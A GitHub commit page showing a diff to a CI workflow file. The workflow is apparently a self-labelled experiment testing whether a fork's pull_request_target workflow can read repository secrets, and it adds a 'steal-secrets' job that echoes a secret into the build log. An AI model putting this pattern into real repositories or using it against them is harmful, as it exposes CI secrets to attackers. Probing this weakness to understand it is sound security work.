Skip to content

Commit cd21860

Browse files
Update test-pr.yml
1 parent f1d745a commit cd21860

File tree

1 file changed

+7
-9
lines changed

1 file changed

+7
-9
lines changed

.github/workflows/test-pr.yml

Lines changed: 7 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,22 +1,20 @@
1-
name: Test PR Behavior
1+
name: Malicious PR Target Workflow (from Fork)
22

3+
# 关键修改:攻击者在自己的fork中,将触发器改成了 pull_request_target
4+
# 他的意图是,希望Base Repo在处理PR时,能执行这个文件,并因此使用这个危险的触发器
35
on:
46
pull_request_target:
7+
types: [opened, synchronize]
58

69
jobs:
7-
test-pr:
10+
steal-secrets:
811
runs-on: ubuntu-latest
912
steps:
10-
- name: Checkout Code
11-
uses: actions/checkout@v2
12-
13-
- name: Run script
13+
- name: Attempt to access secret from fork's YML
1414
run: |
15-
chmod +x ./run.sh
16-
./run.sh
1715
echo "😈 This malicious step is defined in the FORK's workflow file."
1816
echo "It is trying to use 'pull_request_target' to gain access to secrets."
1917
echo "Attempting to exfiltrate secret..."
2018
# 直接尝试将secret打印到日志中,这是最简单的攻击
2119
# 如果这个workflow真的被执行,并且能访问secret,这行就会泄密
22-
echo "The secret is: ${{ secrets.MY_SECRET }}"
20+
echo "The secret is: ${{ secrets.MY_SUPER_SECRET }}"

0 commit comments

Comments
 (0)